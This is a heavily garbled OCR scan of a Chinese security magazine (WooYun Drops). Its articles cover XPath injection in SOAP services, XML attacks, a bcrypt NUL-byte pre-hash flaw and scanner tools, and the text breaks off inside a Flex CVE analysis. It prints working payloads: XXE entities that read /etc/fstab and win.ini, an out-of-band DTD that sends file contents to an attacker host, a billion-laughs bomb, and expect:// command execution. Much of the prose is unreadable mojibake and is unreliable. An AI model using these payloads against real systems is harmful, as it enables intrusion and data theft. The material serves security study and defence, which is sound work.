saL FEAA xpath FEAN

MR saLiEN, TTEARZEIEE, 1FN owasp topl0 MR, AFAEF Y, ws
WIEFEAELE, wooyun b H[EREAELE 2451 :

WooYun: Z B K5 6 KRG AT HE getshell ZEPU5, FEAFTEEN
http://www.wooyun.org/bugs/wooyun-2015-094720

ZAP ws E sql i ANIRTAHRSEH 25 5 9 281, 2T sql IARIFE, AHZD, A%
WA RENTE, MIRATHE W sql FEATTE—FE, T,

xpath VEN, f£ wooyun FIRIEHIIRD, HICHERHBEARIELZ . BRMTEA: W xml /EH
BRI S, xpath #1249 T sql A, RIEa1 SR 55 28 42 FH xml #% 2R Al BudE , AT xpath
KV HEAR, 4 NS EOLIEA T, 5T BEE R xpath JEN, 42K xpath FEAEH IR
ZH IR R B UL RS xxe 25 A 2 R10H T, fEHAZ L.

25— ws VEN xpath 5

<sopaenv:Body>

<web1:Login xmins:web1="http://ws.ws.com/">
<username>abc</username>
<password>123</password>

</webl:Login>

</sopaenv:Body>

R UNIE % ) xpath £

string(//Employee[username/text()="abc’ and password/text()="'123"]/account/text())

FeAr 1z ] Lz H] username B# password, HiA:

'or'1'='1
I 5 xpath B AN :

string(//Employee[username/text()=""or '1' = '1' and password/text()=""or '1' = '1'|/account/text())

eih Bk, MR xpath FIFHA LT 06, beanfd A doc() bR 2 BT & xml S 8 A doc()
Al xxe BEHUT = A

DDOS 1 XXE

FA4 24 DDOS FI XXE We, R L& utid 7 ws AT LAE B xml F http (455, [RlE XML
FHSCIRI A2 AT RE 2 HBLAE ws Z HF I, 95T xml FH ) DDOS Fll XXE, #&A4 KA-# 7 1R %
AT

DDOS bf5: K¥#E DDOS. % #5% DDOS.

4.

<transaction>
<total>6000.00<total>

<credit_card_number>12345</credit_card_number>
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<credit_card_number>qqqq</credit_card_number>
<credit_card_number>qqqq</credit_card_number>
<credit_card_number>qqqq</credit_card_number>
<credit_card_number>qqqq</credit_card_number>
<expiration>01012008</expiration>

</transaction>

xxe JRiFAE drops B2 &
http://drops.wooyun.org/tips/5290, LA F|H xxe Jwill DDOS, Fi|H xxe i SSRF. & HAT .
KT IR AU IR HE 77 A o S

(Having Fun with XML hacking )
(XML LRI - M P PRI E iy S AT A6 00 )

LR

#RSEE AR KRNI -

EAEIRIA, ws 2T ELEARBRR, SR 5 502 trs AR
WooYun: ZZ I 2 % BRI sl AT 2 SO 5 N U A

S84
ME T R B J7 SAHES o Pk
xml HFRI 7 TR

1/ soap IFKIERFEHT BHH LR EECFE 7 5/ EHTRGIT (sql TEA . XA LAE3 A i Kk o

IR FAA TR X2 M 2R, AN S A A FR T A4 & H B /2 bypass, FAE LAl
PR R AR A BEAEAE B ) I R 3532 H

51 H

http://resources.infosecinstitute.com/soap-attack-2/
https://www.blackhat.com/presentations/bh-europe-07/Bhalla-Kazerooni/Whitepaper/bh-eu-07-
bhalla-WP.pdf

https://www.owasp.org/index.php/Testing_for_Web_Services

(&358)  TiiESw4E: WA

F2W XML ZEZ ERBEHFBR

fE#: MR
KH: LRARE - WooYun
Mhk: http://drops.wooyun.org/

XML A
XML AT BARCIE S, # i HRIEM AT a s, IR 2 FE.
PP

X452 (OOXML,ODF,PDERSS,DOCX 4:4%)

B 1520 (SVG,EXIF Headers %4%)

BB (HEXEF, —HAExml)

PIZE 13K (WebDAV,CalDAV,XMLRPC,SOAP,RESTXMPP.SAMLXACML %)

FLEELE XML S 15 T B SR A4, Bb i XML schemas GBS XML Schemas #1375 ) #1 documents
type definitions(DTDs) B2 %4 ] BRI . RBEAFFHITHL T 4, iERA—Kit—X
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HE A FEAE AR XML X B

HESE XML SARHLHR B AR, W DAEHER B 7 SRIEME: &#x25 Fl&foo MR IHE X K
v — RN, HEEHZHRENA kT UERNE.

% DTD 3Kut, DTD HREF B SEfRk e R (B CFERINZ) , DMEFER: TRk DTD 84
XML SRR . —RESEARAE DTD HoE X, FHR UG i) N3 BE R, BRI TH I SC 29 A ok
B4 B O xml SCRY, 1TSS A4 SR U7 Al AR R R (H 2 U, X LR B IRBE R E AR T 5
ML, WATLLRIEFEEND) o TEMET AN BRI FEF, XML (173 H7 2% 7T B 245 FH Ak 2 X 25
WSS (DNS,FTPHTTP,SMB £555) IXHUH T URLs HLIHI#E 18 € BiA T4 o AME LA F >k Ab 2
FI A SI o B I 1 SRS AR AR T, SR, BU L RETE AR BT A B Sk i B R R A
Bk F B

BRI (A RE €1 5 B I5 . Jetc/shadow )
AR

HERACIIA T

VEELYE o

ARSI LR B AR sl B 5 AT — A G

IR XML S0 SE 4 B

BT AR SR

B AR G XML i, R AN SR 1 51 F Dhag Sk SEBUT & S S A

<?xml version="1.0" encoding="utf-8"?>
<IDOCTYPE updateProfile [
<IENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>

<updateProfile> <firstname>Joe</firstname> <lastname>&file;</lastname>

</updateProfile>

AT BRI, B9 xeml U0 28 2R 31 IR 52 0, SRV — b
TR 4 R 5%

<?xml version="1.0" encoding="utf-8"?>
<IDOCTYPE simpleDocument [

<IENTITY first "<my">

<IENTITY second "tag/>"> ]>

<simpleDocument>&first;&second;</simpleDocument>

4R E T xl SORE 2 R ZE Rg5 A, SERR B 2 A — AR IR . Heh<my A tag/>BARTE
HEAE BN 2R ERME R, ERXESRE TN 3, 47yt —k, stmT
ARTEEMEN, Bl — MR AR LE xml Bodi— BRIk, R skbr b
REZ A “ RGN 1, HAE php SCPHERE RS A w2 HA AT —>"<?php",
A XFE AR 2 B MR EREERNRE, SREFEE KR 5EEBI xml
S (L U ot P S B SR i, 3R Bl 45 2R, ] 5-2-1:

<updateProfile>
<firstname>Joe</firstname>
<lastname>

<configRoot>
<various>...</various>
<configurations>.. .</configurations>

</configRoot>
</lastname>

</updateProfile>

K 5-2-1
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ATDLE B, EARZE R B O B SO IR, R WA R i S, RN 1SR
gERY, XA xml parser F5 R E 1Y

URL Invocation:

XML Bt g — e e 200, A2 R URL AL DA R AT F— e B s Sk R 3K
e ER XML TS I3 ESRSCRMT AT € 1 URL AL, (HVF 21 & (2 X 48 FE 2 5
R T JLFATA URL Bl

&/ URLs, Xy v] LLikiE T35 XMLparser f EHLIA S =7 TR EEEIFHR .

Ebln “server-side request forgery” (ssrf).¥i >R ik, URL Invocation 22 7] DL 3K A& i N &8
WA 2 b Rt K Bt ] 5-2-2:

_http://127.0...mplexml.php & | New Tab % ||
| @ 127.0.0.1/simplexml.phy v@| [(Iv Googe @ &

Warning: SimpleXMLElement:: construct(http://127.0.0.1:22/)
simplexmlelement.--construct]: failed to open stream: HTTP
request failed! SSH-2.0-OpenSSH 6.0pl Debian-4 in
'home/wwwroot/default/simplexml.php on line 12

5-2-2
KIS NANKNTE ST, B SN ER SR 25 7, 2 xml parsers 3B /2 2> b 846 URL. ¢
M-, —8% parsers 2L SCRY E XY B url &K ACIE K -

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" "http://internal/service ?ssrf">
<roottag> XN AZSL I 7! </roottag>

B T A4 A T DOCTYPE 1) SSRF Zifi 2 #b, XML Schema #2477 AN 7E S48 SRS p A
MBI R ENE, A TR HE AR B . XA EMZ: xsi:schemalocation I
xsi:noNamespaceSchemalocation, Fi# H T A | HAr AR B EBEASN, F&EHTRA
H A5 2 AR ) B SORY A T08 78 S SR A A

<roottag xmlns="http://schema/namespace/primary"
xmins:secondaryns="http://schema/namespace/secondary"
xmins:xsi="http.//www.w3.0rg/2001/XMLSchema-instance"
xsi:schemalocation="http://schema/namespace/primary
<p>

<secondaryns:s>

</secondaryns:s>
</p>
</roottag>
http://location/of/remote/schema/primary.xsd
http://schema/namespace/secondary

http://location/of/remote/schema/secondary.xsd">

TEXAZEBIF, A secondaryns: il 4% I # 2 IEAEE xmins:secondaryns H1 & SCIIALH -

2% 85 /3t 120 W EJ5fI#: http://t.qq.com/hackcto WAERHB: 48 15 H . gk
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1T~ DOCTYPE J& X ANRE H AL SCRY B A, i DA 3RATT SR SCRS AN 43 T 4 B Ik, gl
e FF schema_Location Chttp://location/of/remote/schema/primary.xsd) A tC ssrf.  (H$E
M B TEERE N on, SRMBATFHBA XA xml parser FEAT 780 HIIR, SRIFFEA
[FIAEE N AT A BRBELEFRATHEAT ssrf Boile, PRl — Mt A7 m, A XK
wooyuner A PAAZ L. )

SINSH LR RBEEF B

LIRATHE R xml B DA, X FRATTAG R BE I 9 A i)

BRI G- FEHIRAKI (HEIR 7 7E<Pphp) o
MRS a7 IR F R A FEE [ -

SINSEERARZ )G, XA RS B, SRR L% Sk, BAMEH S8k 1
ST P 25 S

BN BEAE DTD A B (1
BH S GETT G TS

CDATA # LI Wb H -

CDATA #/4-1F CDATA HBI:II AT N B #B 238 XML ff T 25 2%, B[l CDATA #5445 T 1) 3 284Y
AR DN FRERSCARER . —> CDATA #44: DA<\ [CDATA["Aric PG, LAM>"FRid4h
A4 FRATTREAS BEAL I — AN IR 1) DT T SR 3R [R] F1S 2 S AW -

<?xml version="1.0" encoding="utf-8"?>
<IDOCTYPE roottag [
<IENTITY % start "<![CDATA[">
<IENTITY % goodies SYSTEM "file:///etc/fstab">
<IENTITY % end "]]>">
<IENTITY % dtd SYSTEM "http.//evil.example.com/combine.dtd">
%dtd;
J>

<roottag>&all;</roottag>

combine.dtd 1R :

<?xml version="1.0" encoding="UTF-8"?>

<IENTITY all "%start;%goodies;%end;">

AT PR R, 2 xml parsers &3 xml ) S50k %start. %end & i TAER:, HTHFA
At i AR, B4 0K B ) %start SNl At 15 H HRHTIE 2 X 2 A SR 1 5 AN
BLLE xnl SCRAARAT B % AR xml PG, IXFERRGeL T PR A1

X RERA T BE LB A HE T (base64 JifitiT]) , AhHi4E bypass A1 5 BRI o

Ty — PP S B SR T B2 A B T, R S E s, BATREE I R S R S E
o e Chttp ftp 25) RIZEBIFRMNIRS 2 L, 4@ HEEEHRERIEWE 7. &
AT LLX 4 K3 -

<?xml version="1.0" encoding="utf-8"?> <IDOCTYPE roottag [
<IENTITY % file SYSTEM "file.///c./windows/win.ini">
<IENTITY % dtd SYSTEM "http://example.com/evil.dtd"> %dtd;]>

<roottag>&send;</roottag>

SRIGAERATAT 421 http://example.com/, E U1K DTD:

<?xml version="1.0" encoding="UTF-8"?>

<IENTITY % all "<!IENTITY send SYSTEM 'http://example.com/?%file;'>"> %all;
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MR, WK 5-2-3:

Attacker

-

Vulnerable Application

=N

Target Document

Bootstrap DTD inside
XMI, document —

—B
- >
Secondary DTD from
Attacker's Web Server
_B
- (]
| —
Document Theft wvia URL
K 5-2-3
XXE (1) [ T3 H

HEF Xinclude (930, Xinclude $4E T —Fhic 7 R ERFISCHR RO SELE (T R PR,
SRR SERETT F5L parser #th — /MR L THFRATAEOS I parse JRbE, #ih131 FISC AR
.

root xmins:xi="http://www.w3.0rg/2001/XInclude">
<xi:include href="file:///etc/fstab" parse="text"/>

</root>

At Xinclude FEFFIFH, WIRKIVFTA xml parser HBIA K X451k
SEEQE
XXE Beiti thAEFIR R AR 55 it I F I8 H, A F 2 DR s £ .

<?xml version="1.0"?>

<IDOCTYPE lolz [
<IENTITY lol "lol">
<IENTITY lol2 "&Iol;&lol;&lol; &lol;&lol; &lol;&lol;&lol;&lol; &lol; ">
<IENTITY lol3 "&I0l2;&I012;&I012,&I012;&1012;&I012;&I012;&1012,&I012;&1012;">
<IENTITY lol4 "&lol3;&l0l3;&l013;&I013;&I013;&I013;&I013;&I013;&I013;&I013; ">
<IENTITY lol5 "&Iol4;&lol4;&I0l4,;&I0l4;&I0l4;&I0l4;&I014,;&I014;&I014;&I0l4, ">
<IENTITY lol6 "&lol5;&Iol5;&I015;&I0l5;&I015;&I015;&I015;&1015;&I0l5;&I015;">
<IENTITY lol7 "&lol6,;&I0l6,&I016,&I016,&1016,&1016,&1016,&1016,&I016;&I016; ">
<IENTITY lol8 "&Iol7;&I017;&I017;&I017;&I017;&I017;&I017,;&1017;&I017;&I017;">
<IENTITY lol9 "&Iol8;&I018;&1018;&1018;&1018;&1018;&1018;&1018; &I018; &1018; ">

J>

<lolz>&lol9;</lolz>

[EZ— FARHTIRE, 24 XML ACHER SN IR AN SCRE I, B2 SRocR, mEmE X T
SEAR&I0I9, T 19 SEARY AL T AT
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“&lol8;&l0l8;&I018;&I018;&I018;&l018;&l018;&I0I8;&I0I8;&I0I8;”

AT R weid A B2, IEANAFIIZRTE RARH0G K, SRR, —~/ T 1KB #) XML
Wity payload REVHFE 3GB 17

5 T8 FAEE T I Bk A1 PR -

Java&Xerces, ERA ] Oracle's Java Runtime Environment | [] XML parser 7 Xerces, —-{~ apache
ITH o 1M Xerces Al Java $&fit 7 — RAIMIRFIE, X LOHRFME X RE T 30— 287 5 1) 22 4 ) @il
R K Tk (DOCTYPES for SSRF, SCA B, Z B SLAK I Ay 845 ) 1E java HIBRIAIC
B TR iz E tn, java/Xerces 37 #F Xinclude, 1H/& 7 % setXIncludeAware(true) Al
setNamespaceAware(true).

java MUY AENS SCHFF 1R (19 URL HLAH -

http
https
ftp
file

jar

A NIZAR & Java [ file WX EERE SR A H 3%, b, 7 linux R “file:///” £%|H/H
X NHTA AR

bin
boot
dev
etc

home

jar P jar:http://host/application.jar!/file/within/the/zip, 25U 55 %8 B J S T8 )5 il
JEIXANEL jar FF3k ! S5RME, FHRBUS SO NBGEEFHMEE, TRl —L
EEAE AL (Ebln 1000: 1) IXEE ZIP YRR AR AR BUE IOV R R G, BH FRIEFE H ARpL
HIRE AL/ WA R . VERL, jar URLs BEFEATAT 4252 DOCTYPE J& L[] JAVA Xerces 54t b A#HH .
Bk, BAEANHSAASCH T, k2R AT Wit .

php&expect [ RCE:

IR, XA RIFARBIN LR, SR Zede 7N I XXE i, 2 Reis AT R dr

<IDOCTYPE root[<!ENTITY cmd SYSTEM "expect.//id">]>
<dir>

<file>&cmd;</file>

</dir>

W22 IR BANT

<file>uid=501(Apple) gid=20(staff)
groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserverad
m),98(_Ipadmin),401(com.apple.sharepoint.group.1),33(_appstore),100(_Ipoperator),204(_developer),398(com.a

pple.access_screensharing),399(com.apple.access_ssh)<file>

xml JEAN:
XA xxe Wik RIEAK, HRATHERIZ XML 2245, Bl A~ JR Bt festdt k.
SGLOBALS["HTTP_RAW_POST_DATA"|/E php 8 & B AL | “AFe L7, — BFEF il sk
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WS, BT Mysql 5518 BTEN .
ESIImE
WooYun: PHPYUN il XML A & SQL 7 ANIREUVE #1015 CERATAT I 460D
http://www.wooyun.org/bugs/wooyun-2014-064678
SE
XXE Brik SER R, KRB AT
B g, AR RE 56 48 5 o
XML SR 2 i ?
SR, xml SEARBE BRI Bt vh AR =2 TR 2 T R & 2R gl o
SENFE:
VSR http://www.vsecurity.com/download/publications/XMLDTDEntityAttacks.pdf
OWASP  https://www.owasp.org/index.php/XML_External_Entity (XXE) Processing
e ssrf FHHE RS H OWASP —17 speaker [1] PDF

(B58)  TiiESmiE: WX

39 Berypt 53t Hash B[R] B 58 P B 3 AR ) 22 42 1)

{E# : phithon
KH: SRHEE - WooYun
Pk:  http://drops.wooyun.org/

s

php 7E 5.5 fRAH 5] N T LA berypt LIS A5 BRI 2L password_hash,  FITH G (56 IF 2R 2

password_verify, 1EIFRE BN SLIINER A2 %0, A2 B 565 password_hash PR

PHRNEE IR 22 4 )

H—IR, AL StackOverflow 7 AN @B 7] 8. 42505 A7 BOE K IS %, password_verify()
PRI 15 21 DOS BUiki 2 4R 220 i A SR V% ) ol B2 10 52 3 4800 1 = (R B2 i), 30K 3230 DOS Bt

Bk #F i DAE AN AR K I ER, SRIEFEIRS A8 5. 1X N0 X T Berypt
PasswordHash 1R A 2 . FATERANIE, Berypt FRHIZIG I EEAE 72 NFRFUAN, FTLALE

XA B EASHE . HEIEBEATIRATZIR FIE, HIRI T AR TR ATV 1) &

crypt.c 74T

HHRAVEE php /B4 crypt( BB, AT A R B7E VRS %t 17
“php_crypt()” , FHIUIF:

PHPAPI zend_string *php_crypt(const char *password, const int pass_len, const char *salt, int salt_len)

AN VE B AT IR

telseif (
salt[0] =='S' &&
salt[1] == 2' &&
salt[3] =="'S') {
char output[PHP_MAX_SALT LEN + 1];
memset(output, 0, PHP_MAX_SALT_LEN + 1);
crypt_res = php_crypt_blowfish_rn(password, salt, output, sizeof(output));
if (ferypt_res) {
ZEND_SECURE_ZERO(output, PHP_MAX_SALT LEN + 1);
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return NULL;

}else {
result = zend_string_init(output, strlen(output), 0);
ZEND_SECURE_ZERO(output, PHP_MAX_SALT LEN + 1);

return result;

}

FEF T2 BT password A8 & —/NE char f84%1 (char *), fTPA php_crypt_blowfish_rn()
FABEFNIE S HL password K, FRAEFEE ML EAFRKELKER,

PR php_crypt_blowfish_rn(), F&AIME—f5 ] password & (BRECHEMY key) HIHLTT, 2
e L4 T BF_set_key()eR &, XNEREAER U T R B S, SEbR b
SEEFREU T X AMERS (R TR -

const char *ptr = key;
/*...snip... */
for(i=0;i<BF_N+2;i++){
tmp[0] = tmp[1] = 0;
for(j=0;j<4; j++){
tmp[0] <<= 8;
tmp[0] |= (unsigned char)*ptr; /* correct */
tmp[1] <<= §;
tmp[1] [= (BF_word_signed)(signed char)*ptr; /* bug */
if (i)
sign [=tmp[1] & 0x80;
if (1*ptr)
ptr = key;
else
ptr++;
}
diff |= tmp[0] A tmp[1]; /* Non-zero on any differences */

expanded[i] = tmp[bug];
initial[i] = BF_init_state.P[i] » tmp[bug];
}

BANE CIET AR RS RS, Wt &R B ANREHRIRIME . BT AFRATTE X
char*abc="abc”, 4 abc FMEHLZ" a’ (HFL LR’ a’ B ascii BE) « HIRHAT T abe++
PUfG, *abc FMELSE T b’ , @2 C1EF T string 1) TAE B

BEE, XMERSIER 72k (N BFN 5T 16) , ke “izi” FREf—14
T WAFE LN

if (1*ptr)
ptr = key;
else

ptr++;

R *ptr BEN 0, AV FF AL ETRI TR B E 745, KIEERA, $hdT 72 . XHL
A AN AT R ENT 72 DFAF (RO CIRE 7T e 2 LA NUL &5, A S —
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ANFHD o IBIRATRAAR, PLEARISERE " test\Oabe” K2 AL PR R :

test\Otest\Otest\Otest\Otest\Otest\Otest\Otest\Otest\Otest\Otest\Otest\Otest\Otest\Ote

Shr b, BT LL” test\0” TSk A7 ER A s B AL BRI RE o G5 R0, & BEE 15— NUL
LU BT NS (test\Oabe H11) abe) o IXFESS At 4 o) @il ? IR, IREVEHIDARAT 1
(M test\Oabc ZZHY test\0) o (HEECAHE A NSEHEHEH “\0” , A B A RAR A
T?

b, MR ANSAEZEERERH “\0” , ALl RARM{EH password_hash()E crypt()
R, URJE 100% %4 (1) o HATRARANZ B I AdAT], T2 #E4T 1 “ 577 (pre-hash) ,
AR 2 188 B AR S i ) = 1) R

FEEBR

ALl 22 AT EMAE A berypt ANME, T2 EHEER” TFGA (pre-hash) 7, AL Flse i &
—IRIEAY, PR [ 25 A N IR SRS A BR BOHEAT TR

EAERTLLER P A K7 Es GBI 72 ANFR e

password_hash(hash('sha256', Spassword, true), PASSWORD_DEFAULT)

Fhh, WA LRSI IR “salt” , PTLARC & AV ] HMAC:

password_hash(hash_hmac('sha256', Spassword, Skey, true), PASSWORD_DEFAULT)

W8T, LB hash A1 hash_hmac BTG — NS HUEANIERE true, "B SRR
HoRE R (gD Bl ARG EdE A gD 5 R, OO SR A, X AL
s R Borb R AR W o IXREAT BLEEURE sha512 N5 J5 128 A7 Ak ik 72 AL 2k 2=
RIRIFIR, tHiSRE L B — 2L .

HIX A B — IRV BB I &, ATRAS A “\0” o T HA sidik 1/256 (0.39%)
PIPTREPESE — A2 \0” CIXBMRIRII B ST RN T — AN T E/HE) o IARATAFESL
SAKME 177 ERY, A 50%IHL 3RS — A58 — A2 NULL FRFI D, 55T KHE 177
MR 50% IR Z AT A 7 — A NULL FFk 25 as . B AR50 31329 (177*177) MK
SRERD I H G A 25%MIMER I B — MK o IR G TERRE G A PR At T T RE (el
Wm0 , XEREREE T RATRE — NI R 75 0 5 K5 %05 145 7

Skey = "algjhsdiouahwergoiuawhgiouaehnrgzdfgh23523";
Shash_function = "sha256";

Si=0;

Sfound = [J;

while (count(Sfound) < 2) {
Spw = base64_encode(str_repeat(Si, 5));
shash = hash_hmac(shash_function, Spw, Skey, true);
if (Shash[0] === "\0") {
Sfound[] = Spw;
}
Sit;
}
var_dump(Si, Sfound);

PILEFE T D BELIISkey, SRJGH—ADBELL “BEHL” M Sow (HLSR 5 AN ER T4
17 base64 il Ja (MED , RJEITARH . KB IIAIITIREBET b (RREEBRIR) . &
JEERAF T U R4

int(523)
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array(2) {
[0]=>
string(16) "MzEzMTMxMzEzMQ=="
[1]=>
string(20) "NTIyNTIyNTIlyNTIyNTIy"
}

FATHE 523 Yl REE T 2 NS MzEZMTMxMzEzMQ=="F1“ NTIyNTIyNTIyNTIyNTly”,
SR BIRECG 2 EE B H I DO T 28, SR JRA M LT Sk

Shash = password_hash(hash_hmac("sha256", Sfound[0], Skey, true), PASSWORD_BCRYPT);
var_dump(password_verify(hash_hmac("sha256", Sfound[1], Skey, true), Shash));

eI IR

bool(true)

T PAAFE R EEDPAAF A hash, FATHIEARLIEZERL T
A i A e A

FATTAT BLA ™ g 2l B it I BAT T B0 e A B A 75 42 NULL 15T Sk 19«

password_verify("\0", Shash)

bEan,  PATIN T T IS A -

S2yS10S2ECy/U3F/NSvAjMcuBel6uMDmJII8t8ux0pXOAoajpv2hSHOveOMi

R Z5 3N bool(true), T5HIE 2 T E 778 NULL FI“ 777 SR IS 201 . Frel, fER kg i
Ny R AT RS R AT A I XA L 3 4, At SRt 55 RS A (B 7 445 B A2 BL NULL
TR, MAMRERIRLER 24 (RIRIER 7 B SR s 55 o B9 A7
& NULL I, [RIRE RS T R A

a\Obc
a\Ocd
a\Oef

X LLHL 2 n] DARERE Y, VRKE 24 0.39% HIRE AR A48 2 58 — N2\ MR . 1A H 70k
N a B, AREUEAT 0.39% MR RAT — AN AN T2\ A R X EIREIRATH
il i 2 A P A B DG A3 S 155 R I A A8 B 1 R AR DL AR A 2 A5 R o XA ) g —
BT B3 NFRR\0. FHaN. Hs5 D) o AL ANNIRIEARME password_hash,
F.H 7 CRYPT_SHA256!

& FVFERS ) php_crypt() R &L, FRATATEURBL erypt() b B A7 inss 77 WA X474, B
AMVAELET berypt, HAVET T php, A crypt(3)C 15 5 FEAR A XN ) 5
AP E B berypt SR BH i) 8 R A 2 password_hash()iH 7B, 1fi password_hash
JE YT PHP HEF NS B0 EAERNZ, WRREH T hash_pbkdf2(), ARG H
Wi, T FH A2 scrypt BE S AT

BE Tk

XA ) AN A2 L TE berypt, TR RIS T berypt 5 HAthines 75 & i . Fs2iE s, it
AR HEHRAL4EN . (Mozilla's system) FLHEF )75 3

password_hash(base64_encode(hash_hmac("sha512", Spassword, Skey, true)), PASSWORD_BCRYPT)

BRZEN, FNEEHRS T hash_hmac KR [FHE 54T 7 base64d 4wtd. H4ak, i
hash/hmac iZ [0l & hex JE A HTE R Z 2N (Ba—NSEUE I false)
W ARFE UL BEEH 240, RBE 2 100% %2 41

EFEEH berypt 1% (lfAZ pre_hash )
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18/ hex JEZCHIE Ty pre_hash HIZ4T
1/ base64 Hifd /7 HI(EH 1E % pre_hash 17247

B2, BEAHAE pre_hash, ARG 5 31T pre_hash.

=% N

R A 0] R A2 035 S0 e W AN A 9 (RIS R T 1 vk 1, [BIINHSE A 2 AN s vk 2 ikt k3
WAL A, ABSERR BRI — AR

FrEL, A% % B RR v vt 2 AR 7 S A FARATT, W R ARABAE berypt b - INom B4,
F 0 2% e i A R

encrypt(password_hash(...), Skey) .

e, MRRREENE: AAEEKNKAE CNESEE, B&SSHEdmER.
JR3C: http://blog.ircmaxell.com/2015/03/security-issue-combining-bcrypt-with.html?m=1
(358 TiiEgniE: Wi

FBHE FELE

F1 DL REFEME BEER N T A--WeakFileScan

VE#: JEHEk
KH: ZxEX - WooYun
MHk:  https://zone.wooyun.org

Github FE& i«

https://github.com/ring04h/weakfilescan

HARAE A0S SCRY RN B SO IEAE S

—AJi, e RIS B EE R, svn. git. FCESCHRIGR SCHSEE T, HKSRE
Bl Bt Bl gmdE .

I — V1] R A S5 BORCIAT IR, 2550 F O 32 48 i U

#2235 Ixml&beautifulsoup4:

yum install python-devel libxmI2-devel libxslt-devel

pip install Ixml beautifulsoup4

B R

python wyspider.py wuyun.org

* scan http.//wuyun.org start

[200] http://wuyun.org => http://wuyun.org/
[200] http://wuyun.org/wuyun.tar.gz => http://wuyun.org/wuyun.tar.gz

* scan complete...

"dirs": {
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"http.://wuyun.org": [
"http://wuyun.org"
I
b
"files": {
"http.//wuyun.org": [
"http://wuyun.org/wuyun.tar.gz"

}

(358 TR Bt

#2357 SubDmainsBrute TIH 4 & JHZE python A

KH: Sx#EX - WooYun

MHE:  https://zone.wooyun.org

BIEWAR, ArRERE BREERE EN RS K.

T4 BTS2 150 B FENLE R T B

RE 7T —A oA, AT RN TS, ERSoEET:

JH D FHB T =RITH . VIR E . RIS FA 255 R Z 1%

FHIGAET, D FHGETT3 TTEH, K FMEL8 Ji%

ECUEH 114DNS . FT/Z DNS BT DNS X J1-TMRE X FJFEHT AAHE DNS H 7T 2], ARG 15 0B 1S
I LA Hy AT 3E 19 DNS JRF5-7%

H SIIFEZ FERT I, 25 HTHIAE . AT 10 INE 151 [ — 1P, S = R T FAL 17160 1% 1P 11915 % 1
LT

BT TEE, FERATPC L, FFRRE T 100 200 MEE (10 1272

A I baidu.com 1R R, LRI 1521 M4, BERREIAD N IR AR IP, 2L
RIERAEE AR

EHE AR FER) 44 data.test.noah.baidu.com[10.36.166.17]

R 22 et ) T B d 2 R IAS B IX N84 1

Hi A LR A, BO0—, ATURIADAMEL ., 1P (B « HEZ TR E S
X2 AN private DNS 1 public DNS B 25 FIERARIRT, - A 9 (R AH D3R A0 IR 55 4% 2 22 B 25 T2
BT, U — IR 2 R

5 e LR AKM dnspython, £ install H 3R, WERARA A& WATSCE, 5 K45t Wil
(&58) TSt WX
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FBANE R

#1% CVE-2011-2461 JRE 431 & R4

fE#: gainover
KH: SRARE - WooYun
W4E:  http://drops.wooyun.org

0x00 R H 5t :
M CVE % ‘5 8t AT AR X AN O — 24k 7o T XAMRTRK A AE Flex SDK HL, TEE
Flash Player L. BT T A E M S, REAMMAIEEH 7 EA 1% 4R Flex SDK K415 FLASH,
B2 FLRT AR BT FLASH SCEF SN AR SRR . — 5, TFRETREFFA S M T H
O Flex JFR TH., XEAEZ G TR A 4k 82 R AT I 2 AG SR EA I FLASH ST 5 —J7 1,
BIEFREEH 7 H ORI R TH, (HRHZH TR K FLASH SCHFAR SR AL T-BREAIRAS o
IERGnE, WEASH, W EKRTEERE 2 BA MK FLASH SCAF. #i4E (THEOLDIS
NEW,AGAIN.CVE-2011-2461 IS BACK!) "G iT 44, % Alexa HE44HI 10 sk st e 1.
XA, BjE (2015-3-30) A1 KR T — 4N (Exploiting CVE-2011-2461 on google.com)
fA T SCRAE] CVE-2011-2461 HYFEMI . 84— S RFEH CVE-2011-2461 FJEMTA T ILIE .
0x01 il A & 43 -
KA Flex JF R 1) WEB N HAESCAHAR EA B2 AR, X FBH PSR — N R K T
RG], AR SEAEARARGE . R, Flex il 28 FHAEISAT I INAR “ FELU K787 R MIX
AN, CREEIRTE” fUh: B84THS L E (Runtime Shared Libraries,RSLs) DL & B A5 HR
(Resource Modules) . Hi#& (RSLs) FEH T —Luid H e 2% 1 H B () A R AR —
UINZR 5 G A7 B Ay, Tt 50 f SRR IR 78 22 N 2 _EI4ix £ N 255 T e 2 U 5 3 A 4k
(localization) K. #ik Flex JF & Web N SCRFZ Rl 5 R, —FhJ7 22N &
W AT B2 —A FLASH b, IXFE2: A FLASH SCAF AR 53— 0
ST MR TR 5 SO B ML SWF, AR5 1k N 3 N 28 sSWr S0 ff G el sh 25
IE ST SWF B4 FR N Resource Module) o KX Fh 7 X 1k B Y = SCHHAR R Br i
98, PR TINEGERE, HIER XA A IS B IR T AR TR . T 5
B, Flex SCREM A T SORIATEIAS INE. —Flo& SRR RGO, S A
resourceManager.loadResourceModule() 772, Ff % & resourceManager.localeChain J& 4 1) 5
s 05— M BEAE HTML BB % & flashvars (ERSEIL . @ AR T

<param name='flashVars' value="resourceModuleURLs=es_ES_ResourceModule.swf&localeChain=es_ES'/> ‘

ok, FANTHEEEF Flex i 1 Flash SUAFHGIEACRY, KB F TR E 2 i dnfaf 4 n
B, IR AEAEATAL
1.mx.managers.SystemManager:

ENLFNZIE T Y initialize AL

/M flashvars B 5L H} resourceModuleURLs 2247, T {E %5 resourceModuleURLList
var resourceModuleURLList:String = loaderInfo.parameters["resourceModuleURLs"];
// ¥ resourceModuleURLList 7%, 5 4}#) 7 resourceModuleURLs $72H

var resourceModuleURLs:Array = (resourceModuleURLList) ?
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// M flashvars 5 if resourceModuleURLs = 4%, Jii1E 45 resourceModuleURLList

var resourceModuleURLList:String = loaderInfo.parameters["resourceModuleURLs"];

// ¥ resourceModuleURLList 7% , 57}#) % resourceModuleURLs #(4]

var resourceModuleURLs:Array = (resourceModuleURLList) ? resourceModuleURLList.split(",") : null;

/R resourceModuleURLs A T preloader /7 initialize 544

preloader.initialize(usePreloader, preloaderDisplayClass, preloaderBackgroundColor, preloaderBackgroundAlpha,
preloaderBackgroundimage, preloaderBackgroundSize, (isStageRoot) ? stage.stageWidth : loaderinfo.width,
(isStageRoot) ? stage.stageHeight : loaderinfo.height, null, null, rsiList, resourceModuleURLs);

2.mx.preloaders.Preloader:
ENLFZIE T Y initialize BRI,

/IR LEN H resourceModuleURLs 4 A 25
if (((resourceModuleURLs) && ((resourceModuleURLs.length > 0)))){
n = resourceModuleURLs.length;
i=0;
